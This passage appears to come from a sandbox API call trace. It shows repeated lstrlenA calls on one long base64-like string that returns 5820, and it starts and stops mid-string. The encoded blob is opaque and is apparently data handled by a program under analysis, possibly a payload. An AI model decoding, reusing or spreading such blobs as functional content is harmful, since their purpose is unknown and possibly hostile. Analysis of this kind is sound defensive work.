aWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="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